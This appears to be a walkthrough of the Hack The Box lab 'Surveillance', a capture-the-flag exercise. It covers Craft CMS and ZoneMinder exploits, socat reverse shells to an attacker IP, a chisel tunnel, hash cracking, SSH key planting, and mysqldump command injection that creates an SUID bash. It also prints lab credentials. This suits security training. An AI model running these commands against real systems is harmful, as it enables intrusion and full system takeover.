Surveillance

INTRODUCTION

At the time of writing this walkthrough, Surveillance is still an active box. This one is all about breaking into a fictional company called that installs and operates physical security systems, such as security cameras and door access control. Surveillance is slightly long for a Medium box, involving many rabbit-holes and escalation between three users. However, if you keep your checklists handy and take good notes, this box won’t be too challenging.

Recon on this one is trivial, although it’s easy to accidentally get bogged-down with too much enumeration. Finding the method for a foothold is very simple, but exploiting it might be challenging (luckily, I found some perfect PoC code). The user flag is more challenging, requiring escalation to yet another user - my recommendation: poke around the filesystem manually a bit before you do too much automatic enumeration.

The process for finding the user flag has several rabbit-holes. However, at this stage you’re actually able to escalate to two different users! While the privesc vector to root is very obvious, obtaining the root flag is much more challenging if you don’t know what you’re looking for - it requires careful analysis of a large body of code; be creative and try lots of different methods to abuse the code you find. In my case, it was only after researching the errors from my various privesc attempts that eventually led me to the flag.

title picture

RECON

nmap scans

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE    VERSION
68/udp    open|filtered tcpwrapped
161/udp   open|filtered snmp
500/udp   open|filtered isakmp
593/udp   open|filtered tcpwrapped
623/udp   open|filtered asf-rmcp
1027/udp  open|filtered unknown
1029/udp  open|filtered solid-mux
1434/udp  open|filtered ms-sql-m
5060/udp  open|filtered sip
10000/udp open|filtered ndmp
30718/udp open|filtered tcpwrapped
49182/udp open|filtered unknown
49190/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I added surveillance.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=surveillance.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

banner grabbing

Looks like a redirect to http://surveillance.htb. It’s powered by Craft CMS, that’s not super common (at least from what I’ve seen).

Depending on the version, Craft CMS might have some vulnerabilities: craft cms searchsploit

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

vhost root enum

Alright, that’s the one I already knew about - nothing else though. Now I’ll check for subdomains of surveillance.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://surveillance.htb. This time I’ll use gobuster:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
gobuster dir -w $WLIST -u http://$DOMAIN \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-$DOMAIN.txt" \
--no-error

Directory enumeration against http://surveillance.htb/ gave the following:

directory enumeration gobuster

😅 HTTP 418, nice. Apparently when we visit /wp-admin the server becomes a teapot. Truly the original IOT! That’s a whole lot of noise though. I’ll try ffuf instead:

ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ \
-t 80 -c -o fuzzing/directory-ffuf-$DOMAIN \
-of json -e php,asp,js,html -timeout 4

directory enumeration ffuf

The scan isn’t complete yet, but the above results are already a little more helpful. It also found the main .htaccess file. Typically, this file shouldn’t be publicly visible:

<IfModule mod_rewrite.c>
    RewriteEngine On
    # Send would-be 404 requests to Craft
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_URI} !^/(favicon\.ico|apple-touch-icon.*\.png)$ [NC]
    RewriteRule (.+) index.php?p=$1 [QSA,L]
</IfModule>

I wasn’t familiar with how that final rule worked, so I asked ChatGPT about it. The info it provided was very informative:

  1. RewriteRule: This indicates that a rewrite rule is being defined.
  2. (.+): This is a regular expression pattern that captures one or more characters (.+) and stores them in a backreference. This part captures the path information from the requested URL.
  3. index.php?p=$1: This is the substitution part of the rule. It rewrites the URL to the specified target. In this case, it rewrites to index.php with a query parameter p set to the value captured by the regular expression pattern ($1, the first and only backreference).
  4. [QSA,L]: These are flags that modify the behavior of the rule:
  • QSA (Query String Append): This flag appends the original query string to the rewritten URL. For example, if the original URL was example.com/page?param=value, the rewritten URL would become index.php?p=page&param=value.
  • L (Last): This flag indicates that if this rule is applied, no further rules should be processed for this request.

LFI Enumeration

🚫 Wrong way. Skip this part if you are short on time.

Perhaps this is indicative of a possible LFI? I’ll try pointing my new directory traversal and LFI tool, Alfie, at /index.php?p= and see if it comes up with anything:

alfie

Alfie is a bit like what you might get if you mixed dotdotpwn and ffuf together 😉

No positive results. When I checked the --verbose output of Alfie, I realized that all of the requests were yielding responses of different sizes. To investigate, I checked out the page source and discovered one use for the /index.php?p= query:

actions page

Fuzzing p=actions/

🚫 Wrong way. Skip this part if you are short on time.

There appears to be a page /index.php?p=actions/ that I haven’t seen yet. I’ll check that out next, but first I’ll fuzz that ?p= parameter:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/index.php?p=FUZZ \
-t 80 -c -o fuzzing/p-parameter-ffuf-index \
-of json -e php,js,html -timeout 4

The result was the same as the directory and file enumeration that I did earlier. However, that page /index.php?p=actions/ has a slash on the end - maybe it is some kind of API with multiple actions? If that’s the case, I should be able to find some of those actions with yet another ffuf scan:

ffuf -w $WLIST:FUZZ -u http://$DOMAIN/index.php?p=actions/FUZZ \
-t 80 -c -o fuzzing/actions-ffuf-index -of json -timeout 4 -b 'CRAFT_CSRF_TOKEN=4e3489f3e3624b4f8e55b2310c59186d949d301a4e870b837657b30be40b9ed8a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22tmmFkE9eUUFhFzB_B8Ti0nW5EodX58Ldkk-i2s29%22%3B%7D; CraftSessionId=99j6etlacb381u7078cv8kukf2' -mc all -fw 352 -fs 0

☝️ After proxying a few requests to surveillance.htb through Burp, I noticed that there is a CSRF token and a CraftSessionID, and that both of these seem static.

Just to be safe, I included them in the ffuf scan.

actions fuzzing

Very interesting! I checked each of the pages. /index.php?p=actions/install showed a simple message:

message install

All of the pages with a HTTP 403 Unauthorized code show the same thing. Interesting mostly because it implies that there are proper credentials that exist (I just don’t have them yet!):

message unauthorized

Both of the pages with HTTP 404 show exactly what you might assume:

message not found

Last but not least, the really interesting one was /index.php?p=actions/redirect:

message redirect

I sent this to Burp repeater to play around with it a bit. Unfortunately I couldn’t get it to redirect me to any page, local or external (ex. a webserver I started from my attacker box). I found an Issue on the CraftCMS github repo talking about this redirect action, but apparently it was fixed before version 4.0 (the box is running version 4.4.14 - see below).

So, while the open-redirect was a good hunch, it no longer applies… I’ll have to keep looking.

Exploring the Website

The website appears to be a landing page for a company that installs and configures surveillance equipment, like security cameras and smart door controls:

services

Checking the reference to Craft CMS mentioned in the footer, the website claims to be using version 4.4.14, which is not vulnerable to anything I saw in searchsploit earlier.

As seen during directory enumeration, attempting to visit the /admin page redirects to a login:

login page

Even though searchsploit didn’t reveal any exploits for Craft CMS, I decided to try doing a quick web search for “CraftCMS vulnerability 4.4.14”. The very first result was a NIST CVE entry with a score of 9.8 👊 It’s for CVE-2023-41892 and has a link at the bottom to some PoC code, apparently already submitted as a Metasploit module.

FOOTHOLD

CVE-2023-41892

Looking through some other PoC code for this CVE, it looks like it’s exploited by doing an insecure file upload of an image payload that exploits an Imagick vulnerability. To be honest, I would have never found this myself!

I checked to see if I had that exploit already locally:

metasploit exploit

Yep, there it is! I’ll try it out:

sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
# In MSFconsole
set RHOSTS 10.10.11.245
set RPORT 80
set LHOST tun0
set SSL false

It didn’t work though. To be fair, it didn’t pass the check either:

metasploit exploit 2

Drats. I went looking for other exploits. A quick search on Github for CVE-2023-41892 gave three results; I chose to try the Python one with the most stars first, which (at the time of writing this) is this exploit by @Faelian. The exploit itself was completely point-and-shoot:

git clone https://github.com/Faelian/CraftCMS_CVE-2023-41892.git
chmod +x craft-cms.py
./craft-cms.py http://surveillance.htb

webshell

👏Excellent! Now to make a reverse shell and do as the exploit says (delete shell.php behind me). It looks like socat is available on the target, so I’ll do a socat reverse shell:

# On attacker box:
bash
rlwrap socat -d TCP-LISTEN:4444 STDOUT
# On target box:
socat TCP:10.10.14.9:4444 EXEC:bash

reverse shell

Upgrade the shell

For more details, please see my guide on upgrading the shell. Here’s what I did on this box:

which python python3 perl bash # python3 is present
python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash

USER FLAG

Enumeration: www-data

I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results:

  • There are three users with home directories: matthew, zoneminder, and root

  • In the parent directory of where I got a reverse shell, there is an .env file with MySQL credentials (see below)

  • The box has lots of tools: nc, netcat, socat, curl, wget, python3, perl, php, tmux

  • Netstat shows a couple services listening to local connections, probably HTTP and MySQL: netstat www-data

  • www-data can write to several directories. Notably, there are a bunch of mentions to zm in several of the directories.

    find / -user $USER 2>/dev/null  | grep -v '^\(/sys\|/proc\|/run\)' | grep -v vendor
    

    I’ll check out some of these directories after initial enumeration: /tmp/zm, /var/log/zm, /usr/share/zoneminder, /var/cache/zoneminder, and /var/lib/zm 🚩

Ok, so that’s three leads to investigate:

  1. MySQL credentials from .env file - probably for listener on 127.0.0.1:3306
  2. Listener on 127.0.0.1:8080 (probably a webserver)
  3. All those zm and zoneminder directories.

Lead #1: MySQL

As mentioned above, there is an .env file in /var/www/html/craft. It looks like we have some MySQL credentials in there.

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production

# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false

Getting my tools

So that I can connect to MySQL comfortably from my attacker box, I’ll start up a proxy. For this, I’ll use chisel. But first, I need to get chisel onto the target. I’ll stand up a python http server from my attacker machine to host my standard toolbox, which contains chisel:

# Open up a firewall port for the http server and for chisel server
sudo ufw allow from $RADDR to any port 8000,9999 proto tcp
cd ~/MyToolbox
# Run chisel and background it (or just use another terminal window/tab)
./chisel server --port 9999 --reverse --key MyS3cr3tK3y & 
# Start the webserver to serve the Toolbox to the target
python3 -m http.server 8000

☝️ Note: I already have proxychains installed on my attacker machine, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050

Then, on the target box:

# Set up a hidden directory in tmp to download tools to
mkdir -p /tmp/.Tools
cd /tmp/.Tools
# Download each tool that might be useful, such as chisel
wget http://10.10.14.3:8000/chisel && chmod 755 chisel
# Form the proxy connection and background it
./chisel client 10.10.14.3:9999 R:1080:socks & 

Back on my attacker box, I like to test the proxy connection by doing a banner-grab of the python webserver hosting my toolbox. By doing this, I’ve tested the whole round-trip connection (attacker -> target -> attacker):

proxychains whatweb http://10.10.14.9:8000

proxychains

Now that I have a proxy set up, I’ll connect to the database using the credentials I found in the .env file: craftuser : CraftCMSPassword2023!

proxychains mysql -h 127.0.0.1 -D craftdb -u craftuser -p
show tables; # found table: users
describe users; # username, email, password, etc
select username, password, hasDashboard, admin from users;

mysql password hash

Excellent, there’s a password hash. Maybe I’ll be able to crack it?

Finding & cracking hashes

🚫 Wrong way. Skip this part if you are short on time.

Although the $2y gives it away, we can verify that this is a bcrypt has by using name-that-hash:

name-that-hash

🤞 Ok, I’ll toss it into john and hope for a result:

echo '$2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe' >> hash.txt
WORDLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt
hashcat -m 3200 hash.txt $WLIST

While that is running, I’ll check out all those zm / zoneminder directories…

Lead #3: zm and zoneminder dirs

The /usr/share/zoneminder directory is especially interesting. There appears to be a subdirectory for a webserver, and another for a database! I’ll tar them up and send it to my attacker box for analysis:

# On attacker box:
sudo ufw allow from $RADDR to any port 4445 proto tcp
nc -lvnp 4445 > zoneminder.tar.gz
# On target box:
cd /usr/share
tar -czvf /tmp/.Tools/zoneminder.tar.gz ./zoneminder
cd /tmp/.Tools
nc -nv 10.10.14.9 < zoneminder.tar.gz
# After a short while, terminate the connection from attacker
[Ctrl+C]
# Then, on BOTH boxes do checksum
shasum zoneminder.tar.gz # they match

The db directory holds a file zm_create.sql, clearly a database initialization script, with a reference to an admin user and their password hash:

zm_create admin user

There are also a bunch of other logs of updates to the database, but I’ll check that later. For now, I’ll add that hash to the list and restart my cracking:

[Ctrl+C]
echo '$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6' >> hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt

Upon further inspection, it appears to use InnoDB, and holds all the data necessary for viewing camera streams - presumably security cameras.

Neither hashcat nor john seem to be able to crack these hashes.

Lead #2: Webserver on port 8080

Now that I have a socks5 proxy running using chisel, it’s easy to check out the webserver that’s listening on the target box on port 8080. Just open it in the browser, using proxychains.

☝️ I had to close all of my tabs in that browser before attempting to connect to this other one over proxychains. It was trying to pipe all kinds of random web requests through the proxy. Best to just keep it isolated.

proxychains firefox http://127.0.0.1:8080

zoneminder webserver

I tried some obvious/default credentials. I already knew from the zm_create.sql file that admin should be a valid user, but didn’t know a password. No luck. In lieu of another obvious lead, I’ll go back to enumeration.

Back to linpeas

Linpeas seems to have found something interesting:

zoneminder password linpeas

It also highlighted a few files inside /var/www/html/craft/, the directory where I initially entered with the webshell (and reverse shell). 🤔 Did I look through this fully? I’m not so sure that I did - I found that .env file and got way off track, thinking that was my best lead.

Surveillance db backup

Taking another look at that directory, there is a subdirectory /storage that seems interesting. Even better, inside /storage is a backup - surveillance--2023-10-17-202801--v4.4.14.sql.zip. 😸 It looks like a zip of a database backup script. I’ll transfer the zip to my attacker box so I can analyze it more comfortably.

# On attacker box:
nc -lvnp 4445 > surveillance--2023-10-17-202801--v4.4.14.sql.zip
# On target box:
nc -nv 10.10.14.9 < surveillance--2023-10-17-202801--v4.4.14.sql.zip
# After a short while, terminate the connection from attacker
[Ctrl+C]
# Then, on BOTH boxes do checksum
shasum surveillance--2023-10-17-202801--v4.4.14.sql.zip # they match

There was only one file within the zip, so I manually looked through it. I found something very interesting:

password hash in zip file

That looks like a password hash for the admin user, but it’s not even salted!

There’s a perfect tool for cracking unsalted hashes: the website https://crackstation.net/. It has a massive database of unsalted hashes and their corresponding passwords, in a variety of formats. Better yet, it’s almost instantaneous because it’s simply a lookup table.

I plugged that hash into crackstation.net and - as I had hoped - it found a password right away! 😁

crackstation

Alright, so we have the credential admin : starcraft122490 for the surveillance webserver. I’ll try it out on the http://surveillance.htb/admin/login page:

attempting login surveillance

😑 Nope. It’s not a valid credential anymore for the Craft CMS site. But maybe there’s some credential re-use at play? I’ll try the zm website on port 8080:

zm logged in

😵 What?! Nice! I’ll admit, I wasn’t expecting that.

I took a thorough look through the web app itself. As the database scripts indicated, ZoneMinder looks like the system that you’d use to monitor a bunch of camera feeds from. You can add cameras, groups, and pull video “montages”. Since there are no cameras registered, the only important-looking information was:

  • The listening RTP ports for cameras
  • The security configuration. It could be downgraded, but there is no point in doing that now that I have a valid login.

What about credential re-use. If I’m really lucky, this is the password for matthew:

ssh matthew@$RADDR # use password "starcraft122490"

matthew ssh

🎉 Alright! Success. The SSH connection drops you into /home/matthew, adjacent to the user flag. Simply cat it out for the points:

cat user.txt

ROOT FLAG

Enumeration: matthew

I’ll repeat my usual Linux User Enumeration strategy. These are the conspicuous results:

  • Linpeas highlighted some things… honestly, I don’t know what to make of it: linpeas 2
  • Checking the kernel version with uname -a shows that this box is running a surprisingly old Linux kernel: 5.15.0-89-generic. It looks like it might be vulnerable to DirtyPipe. I’ll check that out next 🚩

DirtyPipe

🚫 Wrong way. Skip this part if you are short on time.

HackTheBox has a blog post regarding CVE-2022-0847 aka “DirtyPipe”, if you want to read more about it. It mentions that this vulnerability was patched in 5.15, but only at 5.15.25 (after the kernel version of this box)

I checked searchsploit for a DirtyPipe exploit and, of course, there was one present:

searchsploit 2

The exploit is a C program. Thankfully, the target has a gcc already. I’ll transfer the source code over to the target using my python webserver.

After transferring the C code, I compiled with gcc -o dirtypipe 50808.c and ran it. The exploit relies on hijacking an existing SUID program, so I got a list of all SUID binaries:

find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'

I tried the exploit using both /usr/bin/passwd and /usr/bin/sudo, but unfortunately neither worked 🤷‍♂️.

Next, I tried another DirtyPipe exploit that works slightly differently - the one the HTB article suggests. It writes a new, known password into /etc/passwd for the root user, so you can escalate using that. Seemed promising, but it didnt work either.

dirtypipe fail

While doing that, I did notice something though: there were a whole bunch of binaries (actually a bunch are perl scripts) in /usr/bin that were conspicuously prefixed with “zm” - probably for zoneminder…

zm binaries

🤔 I bet I need to pivot to the user zoneminder for privilege escalation.

Note to self: there is also /etc/zm which is not accessible to matthew. Might be important later?

Pivot to zoneminder

It’s clear that the ZoneMinder web app is being ran by the user zoneminder. So it seems like the clear choice to try to use the web app to pivot to the user. Is there an exploit for it?

First, I’ll need to find out what version it’s running. I remember seeing the version written down somewhere in the web app itself, so I simply opened the page with proxychains firefox http://127.0.0.1:8080 and logged back in using the admin : starcraft122490 credentials from earlier. The version number is on the righthand side of the banner:

zoneminder web app banner

Ok, so it’s running v1.36.32. Now I’ll check searchsploit:

searchsploit zoneminder

Only 51071.py is applicable. However, it’s a Log injection & Stored XSS & CSRF Bypass… Fine but not idea - I’ll look on Github and see if I can find an RCE exploit for it.

Thankfully, a simple search on github for “zoneminder CVE exploit” showed a short list of exploits, one of which definitely applies to v1.36.32, and is actually written by the same author as the CraftCMS exploit I used earlier!

😅 Probably not a coincidence.

The exploit looks very easy to use, and even includes its own checks. See this repo to download it. Again, it looks pretty much point-and-shoot.

Thankfully I still have my socks5 proxy going, so exploiting zoneminder was no trouble at all:

proxychains ./zoneminder.py http://127.0.0.1:8080 'socat TCP:10.10.14.9:4445 EXEC:bash'

zoneminder exploit

I’m very happy to say that it worked like a perfectly. Thank you again, @Faelian!

zoneminder reverse shell

⭐ Reader: if you used that exploit I encourage you to leave that repo a star. It’s very handily written and worked instantly.

The user zoneminder has a home directory, so I’ll go ahead and plant an SSH key so I don’t need to re-exploit the box.

First, on my attacker box, generate a key and base-64 encode it:

# used passphrase "c0nd0r":
ssh-keygen -t rsa -b 4096
chmod 700 ./id_rsa
# copy output to clipboard
base64 -w 0 id_rsa.pub > id_rsa.pub64 && cat id_rsa.pub64

Then, on the target box, make an SSH directory and plant the key:

mkdir -p ~/.ssh
cd ~/.ssh
echo "c3NoLXJz[...snip...]thbGkK" | base64 -d > authorized_keys

Now back on the attacker box, go ahead and connect using SSH:

ssh -i ./id_rsa zoneminder@$RADDR

zoneminder ssh

Great - that was successful 👍

Enumeration: zoneminder

As is my usual first step when I reach a new user, I checked what they’re able to sudo, with sudo -l:

zoneminder sudo

Aha! I knew all those “zm” scripts in /usr/bin looked suspicious! 😁

perl scripts list

Script analysis

I archived the scripts together and transferred them to my attacker machine so I could analyze them more comfortably:

# On target box:
cd /usr/bin
tar -czvf /tmp/.Tools/perl-scripts.tar.gz ./zm[a-zA-Z]*.pl
# On attacker box:
scp -i ./id_rsa zoneminder@$RADDR:/tmp/.Tools/perl-scripts.tar.gz ./perl-scripts.tar.gz
tar -zxvf perl-scripts.tar.gz

There is a LOT of code here. I don’t think I can do a good job of manually reviewing all of this code for vulnerabilities.

It doesn’t help that I’m not very good with perl 😑

After reading through some of the code, I noticed that there were a few calls to qx, which executes shell commands. Perhaps one of these could lead to command injection?

grep -E 'qx\(' ./zm[a-zA-Z]*pl

That shows zmcamtool.pl, zmdc.pl, zmfilter.pl, zmpkg.pl, zmsystemctl.pl, zmtelemetry.pl, zmupdate.pl, and zmvideo.pl. One of these is probably the privesc vector.

zmcamtool.pl

🚫 Wrong way. Skip this part if you are short on time.

For example, this below snippet of zmcamtool.pl seems vulnerable, right? Usage of the script is this:

 zmcamtool.pl [--user=<dbuser> --pass=<dbpass>]
              [--import [file.sql] [--overwrite]]
              [--export [name]]
              [--topreset id [--noregex]]

i.e. the database username and password are controlled inputs.

  my ( $host, $port ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
  my $command = 'mysqldump -t --skip-opt --compact -h'.$host;
  $command .= ' -P'.$port if defined($port);
  if ( $dbUser ) {
    $command .= ' -u'.$dbUser;
    if ( $dbPass ) {
      $command .= ' -p'.$dbPass;
    }
  }

  my $name = $ARGV[0];
  if ( $name ) {
		if ( $name =~ /^([A-Za-z0-9 ,.&()\/\-]+)$/ ) { # Allow alphanumeric and " ,.&()/-"
			$name = $1;
			$command .= qq( --where="Name = '$name'");
		} else {
			print "Invalid characters in Name\n";
		}
  }

  $command .= " zm Controls MonitorPresets";

  my $output = qx($command);
  my $status = $? >> 8;
  if ( $status || logDebugging() ) {
    chomp( $output );
    print( "Output: $output\n" );
  }

So it seems like I should be able to inject a command simply by terminating the mysqldump command and tacking on another one, and I could use either the dbUser or dbPass variables to do so. However, this doesn’t work in practice:

sudo /usr/bin/zmcamtool.pl --export --user='zmuser' --pass='ZoneMinderPassword2023; touch /tmp/.Tools/ITWORKED'

But all I get as output is this cryptic error: Insecure dependency in `` while running with -T switch at /usr/bin/zmcamtool.pl line 366. I even get this error when using the program as it was intended:

sudo /usr/bin/zmcamtool.pl --export --user='zmuser' --pass='ZoneMinderPassword2023'

Clearly a bug! ☹️

A web search about this error brought me to this StackOverflow question. Apparently, you get that message when running a Perl program with the -T switch and the program attempts to perform an insecure operation (like qx(...))on an unsanitized input that originates from outside the program. Apparently, Perl has this concept of “tainted” variables; a variable that can be controlled externally then used without sanitization is considered “tainted”. I had no idea! Pretty neat, Perl.

In short, the above code only “detaints” the $name variable, and throws this error because I’ve included input for pass without “detainting” it.

zmfilter.pl

🚫 Wrong way. Skip this part if you are short on time.

This code in zmfilter.pl would work, if only I could connect to the database and introduce a filter of type AutoExecuteCmd:

zmfilter

🤔 I did find a password for the database earlier on, using linpeas. I’ll try logging in using that password:

mysql -h localhost -D zm -u zoneminder -pZoneMinderPassword2023 # nope
mysql -h localhost -D zm -u zm -pZoneMinderPassword2023 # nope
mysql -h localhost -D zm -u root -pZoneMinderPassword2023 # nope

Hmm. Maybe I missed something in that file? The file was /usr/share/zoneminder/www/api/app/Config/database.php. I’ll grep it:

grep -B 10 -A 10 ZoneMinderPassword2023 /usr/share/zoneminder/www/api/app/Config/database.php

Oh, duh! The username is zmuser, not “zm” or “zoneminder”

mysql -h localhost -D zm -u zmuser -pZoneMinderPassword2023 # yep!

Inside the database is the Filters table:

filters table

Great, I’ll just find one filter, set the AutoExecute bit, and write an AutoExecuteCmd to escalate privilege (maybe copy over an SUID bash?). For now, I’ll just try a touch:

inserted filter

Even then, it still doesn’t work… The script complains that it can’t find the filter:

filters not working

I got a similar error whether I used any combination of quotation marks or even --filter_id=3

zmupdate.pl

After checking zmpkg.pl, zmsystemctl.pl, and zmtelemetry.pl, I finally found some other code that looks vulnerable, this time in zmupdate.pl.

Just like in the previous scripts, I searched the script for any instances of “qx(” and gave special attention to those spots.

	  my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
      my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }
      if ( defined($portOrSocket) ) {
        if ( $portOrSocket =~ /^\// ) {
          $command .= ' -S'.$portOrSocket;
        } else {
          $command .= ' -h'.$host.' -P'.$portOrSocket;
        }
      } else {
        $command .= ' -h'.$host; 
      }
      my $backup = '/tmp/zm/'.$Config{ZM_DB_NAME}.'-'.$version.'.dump';
      $command .= ' --add-drop-table --databases '.$Config{ZM_DB_NAME}.' > '.$backup;
      print("Creating backup to $backup. This may take several minutes.\n");
      ($command) = $command =~ /(.*)/; # detaint
      print("Executing '$command'\n") if logDebugging();
      my $output = qx($command);
      my $status = $? >> 8;
      if ( $status || logDebugging() ) {
        chomp( $output );
        print( "Output: $output\n" );
      }

It’s remarkably similar to the snippet I showed earlier in zmcamtool.pl: both build up a mysqldump command through successive concatenation. This one, however, “detaints” the user-controlled input in a horrendously insecure way 😁

($command) = $command =~ /(.*)/; is what you do when you want to bypass the whole “taint” mechanism.

The usage of the script is like this:

zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version> [-u <dbuser> -p <dbpass>]

The vulnerable runs within the sub patchDB, which is only called if a version is specified. It looks like I should be able to inject a command using either the -u or -p arguments. I just need to include an extra command then bypass the rest of the command (ex. with echo):

sudo /usr/bin/zmupdate.pl --version=1.24.2 -u 'zmuser; touch /tmp/.Tools/zm-test/ITWORKED; echo' -p 'ZoneMinderPassword2023'

While I was playing with that, I had watch -n 05 /tmp/.Tools/zm-test running in another pane.

touch itworked

Alright, it worked! Should be easy to escalate to root now 😉

sudo /usr/bin/zmupdate.pl --version=1.24.2 -u 'zmuser; cp /usr/bin/bash /tmp/.Tools/zm-test/bash; chmod 4755 /tmp/.Tools/zm-test/bash; echo' -p 'ZoneMinderPassword2023'

got suid bash

Finally, this worked. Just escalate with ./bash -p and read the flag with cat 🤠

cat /root/root.txt

LESSONS LEARNED

two crossed swords

Attacker

  • Google first, then enumerate. As soon as you fingerprint some software on your target, go straight to a search engine and explore what known vulnerabilities exist. There’s no benefit to “re-inventing the wheel” when searching for vulnerabilities. If you want the extra learning, put that brainpower to use in writing a new exploit or scanner for the vulnerability instead.

  • Manually verify privesc scripts. I accidentally wasted quite a bit of time on this box when seeking the privilege escalation to zoneminder. In truth, I had already seen a mention of the file I needed to examine, back when I ran linpeas for the first time. However, I didn’t loop back and examine the file that it highlighted. Leading to my next point…

  • Keep a queue of “leads” in your notes as you’re working through a box. Even if it’s just a tiny reference to other notes you’ve taken, it’s an absolutely invaluable practice for keeping yourself on-track and progressing towards a solution.

  • Grep for insecure code. This can be part of a “working backwards” approach: if you already know what effect you want some code to produce, you can grep through the code to see what might possibly produce that effect. From there, continue working backwards until you find user-controlled inputs - once you work all the way backwards, you might have found your exploit!

two crossed swords

Defender

